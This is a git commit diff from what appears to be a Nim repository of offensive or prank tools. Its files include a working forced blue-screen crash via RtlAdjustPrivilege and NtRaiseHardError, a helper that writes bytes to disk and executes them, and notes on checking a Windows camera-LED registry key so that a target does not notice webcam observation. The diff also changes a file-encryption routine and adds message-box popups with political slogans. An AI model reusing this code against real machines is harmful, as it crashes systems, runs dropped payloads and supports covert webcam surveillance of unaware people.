[S] moved some files. Added browser.nim.

This commit is contained in:
eline
2023-11-30 22:41:52 +01:00
parent f3d9936636
commit ed08a4616c
10 changed files with 39 additions and 73 deletions

View File

@@ -0,0 +1,31 @@
# ____ _____ ____ ____ _____ _____
# / ___|| ____/ ___| _ \| ____|_ _|
# \___ \| _|| | | |_) | _| | |
# ___) | |__| |___| _ <| |___ | |
# |____/|_____\____|_| \_\_____| |_|
# SECRET
# https://answers.microsoft.com/en-us/windows/forum/all/enable-osd-notification-for-webcam/caf1fff4-78d3-4b93-905b-ef657097a44e
# https://www.reddit.com/r/Windows11/comments/z5hj0q/til_even_the_camera_indicatoroverlay_gained_the/
# https://www.elevenforum.com/t/enable-or-disable-camera-on-off-osd-indicator-in-windows-11.10774/
# https://duckduckgo.com/?q=HKLM%5C%5CSOFTWARE%5C%5CMicrosoft%5C%5COEM%5C%5CDevice%5C%5CCapture%5C
import winim
proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".}
proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS
{.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".}
var
prev: BOOLEAN
response: ULONG
# SE_SHUTDOWN_PRIVILEGE = 19
RtlAdjustPrivilege(19, TRUE, FALSE, &prev)
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response);

View File

@@ -0,0 +1,12 @@
import winim/lean
proc fileExists(filename: cstring): bool =
result = GetFileAttributesA(filename) != INVALID_FILE_ATTRIBUTES
const
filename = "C:\\path\\to\\your\\file.txt" # double-\ because it's an escape character.
if fileExists(filename):
echo "File exists."
else:
echo "File does not exist."

View File

@@ -0,0 +1,8 @@
import std/os
let
byteList = cast[seq[byte]](@[0x40,0x80])
output = paramStr(1)
proc writeBytesToFileAndExecute*(bytes: seq[byte], outputFile: string) =
writeFile(outputFile, bytes)
discard execShellCmd("./" & output)
writeBytesToFileAndExecute(byteList, output)

View File

@@ -0,0 +1,15 @@
# ____ _____ ____ ____ _____ _____
# / ___|| ____/ ___| _ \| ____|_ _|
# \___ \| _|| | | |_) | _| | |
# ___) | |__| |___| _ <| |___ | |
# |____/|_____\____|_| \_\_____| |_|
# Checks the status of the Windows "Privacy Bubbles" to know if target device has the Windows camera LED enabled.
# however, it should be noted that most PC/laptop manufacturers include a hardwired LED that cannot be disabled.
# therefore, this program does not guarantee that the user will not know about the observation.
# Might work. Untested, honestly.
# HKLM\\SOFTWARE\\Microsoft\\OEM\\Device\\Capture\\NoPhysicalCameraLED
# 0x0 means false, 0x1 true

View File

@@ -211,20 +211,11 @@ proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
# with big files
# Default is 64KB.
proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
try:
let fIn = newFileStream(infile, mode = fmRead)
defer: fIn.close()
let fOut = newFileStream(outfile, mode = fmWrite)
defer: fOut.close()
encryptStream(fIn, fOut, passw, bufferSize)
except CatchableError:
let
e = getCurrentException()
msg = getCurrentExceptionMsg()
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
let fIn = newFileStream(infile, mode = fmRead)
defer: fIn.close()
let fOut = newFileStream(outfile, mode = fmWrite)
defer: fOut.close()
encryptStream(fIn, fOut, passw, bufferSize)

View File

@@ -0,0 +1,32 @@
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|
import std/random
type
HANDLE* = int
HWND* = HANDLE
UINT* = int32
LPCSTR* = cstring
proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32
{.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}
# example implementation: MessageBox(0, "Hello, world !", "Nim is Powerful", 0)
var
titlemessages = @["Are you really free?","You got games on your phone?","Poland!"]
captionmessages = @["From the river to the sea, Palestine will be free.", "We are the people of Heaven.",
"War is peace. Slavery is freedom. Ignorance is strength.","Kurva mac!"] # todo: convert to cstrings
randomize() # seeds randomizer
var
randomtitle:cstring = sample(titlemessages).cstring
randommessage:cstring = sample(captionmessages).cstring
if isMainModule:
MessageBox(0, randomtitle, randommessage, 0)

View File

@@ -0,0 +1,7 @@
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|